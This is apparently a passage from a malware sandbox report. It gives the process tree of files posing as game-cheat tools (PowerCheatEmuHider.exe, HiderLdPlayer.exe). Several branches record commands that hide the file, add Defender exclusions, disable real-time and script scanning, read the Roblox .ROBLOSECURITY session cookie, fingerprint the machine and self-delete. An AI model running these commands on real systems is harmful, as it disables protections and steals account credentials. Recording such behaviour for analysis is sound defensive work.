        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        136⤵
        
        PID:5344
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        137⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        138⤵
        
        PID:5324
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        139⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        140⤵
        
        PID:5124
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        141⤵
        
        PID:4356
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        142⤵
        
        PID:1624
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        143⤵
        
        PID:6872
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        144⤵
        
        PID:5336
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        145⤵
        
        PID:3768
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        146⤵
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        147⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        148⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        149⤵
        
        PID:6236
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        150⤵
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        151⤵
        
        PID:1520
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        152⤵
        
        PID:6112
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        153⤵
        
        PID:5600
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        154⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        155⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        156⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        157⤵
        
        PID:6680
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        158⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        159⤵
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        160⤵
        
        PID:6732
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        161⤵
        
        PID:5124
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        162⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        163⤵
        
        PID:4196
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        164⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        165⤵
        
        PID:4048
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        166⤵
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        167⤵
        
        PID:2568
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        168⤵
        
        PID:5724
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        169⤵
        
        PID:6876
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        170⤵
        
        PID:3620
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        171⤵
        
        PID:1816
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        172⤵
        
        PID:6088
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        173⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        174⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        175⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        176⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        177⤵
        
        PID:5860
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        178⤵
        
        PID:6088
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        179⤵
        
        PID:1108
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        180⤵
        
        PID:6560
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        181⤵
        
        PID:6168
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        182⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        183⤵
        
        PID:6816
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        184⤵
        
        PID:3604
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        185⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        186⤵
        
        PID:6836
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        187⤵
        
        PID:5124
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        188⤵
        
        PID:5664
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        189⤵
        
        PID:5920
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        190⤵
        
        PID:5356
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        191⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        192⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        193⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        194⤵
        
        PID:6080
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        195⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        196⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        197⤵
        
        PID:6876
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        198⤵
        
        PID:4328
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        199⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        200⤵
        
        PID:3792
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        201⤵
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        202⤵
        
        PID:4436
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        203⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        204⤵
        
        PID:6548
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        205⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        206⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        207⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        208⤵
        
        PID:6804
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        209⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        210⤵
        
        PID:4928
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        210⤵
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        209⤵
        
        PID:6412
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        208⤵
        
        PID:7088
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        207⤵
        
        PID:4768
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        208⤵
        
        PID:1916
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        208⤵
        Views/modifies file attributes
        
        PID:7164
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        206⤵
        
        PID:5420
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        205⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        204⤵
        
        PID:7160
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        203⤵
        
        PID:1348
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        202⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        201⤵
        
        PID:4328
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        200⤵
        
        PID:2684
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        199⤵
        
        PID:6588
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        198⤵
        
        PID:4436
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        197⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        196⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        195⤵
        
        PID:2000
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        194⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        193⤵
        
        PID:3868
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        192⤵
        
        PID:6356
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        191⤵
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        190⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        189⤵
        
        PID:4332
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        188⤵
        
        PID:1816
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        187⤵
        
        PID:5984
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        188⤵
        
        PID:5300
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        188⤵
        Views/modifies file attributes
        
        PID:7140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        188⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        188⤵
        
        PID:6080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        188⤵
        
        PID:3992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        188⤵
        
        PID:6860
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        188⤵
        
        PID:5916
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        188⤵
        
        PID:6576
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        188⤵
        
        PID:6816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        188⤵
        
        PID:7088
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        188⤵
        Detects videocard installed
        
        PID:6568
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        188⤵
        
        PID:5840
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        189⤵
        Runs ping.exe
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        186⤵
        
        PID:6588
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        185⤵
        
        PID:6924
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        184⤵
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        183⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        182⤵
        
        PID:1988
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        181⤵
        
        PID:6080
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        180⤵
        
        PID:6340
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        179⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        178⤵
        
        PID:4196
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        177⤵
        
        PID:1580
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        176⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        175⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        174⤵
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        173⤵
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        172⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        171⤵
        
        PID:2340
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        172⤵
        
        PID:3768
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        172⤵
        Views/modifies file attributes
        
        PID:1328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        172⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        172⤵
        
        PID:6808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        172⤵
        
        PID:6480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        172⤵
        
        PID:6200
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        172⤵
        
        PID:8
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        172⤵
        
        PID:4436
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        172⤵
        
        PID:6976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        172⤵
        
        PID:2012
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        172⤵
        Detects videocard installed
        
        PID:6912
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        172⤵
        
        PID:6120
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        173⤵
        Runs ping.exe
        
        PID:4540
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        170⤵
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        169⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        168⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        167⤵
        
        PID:6336
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        166⤵
        
        PID:1564
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        165⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        164⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        163⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        162⤵
        
        PID:1496
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        161⤵
        
        PID:6336
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        160⤵
        
        PID:3108
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        159⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        158⤵
        
        PID:6584
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        157⤵
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        156⤵
        
        PID:4540
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        155⤵
        
        PID:6288
        
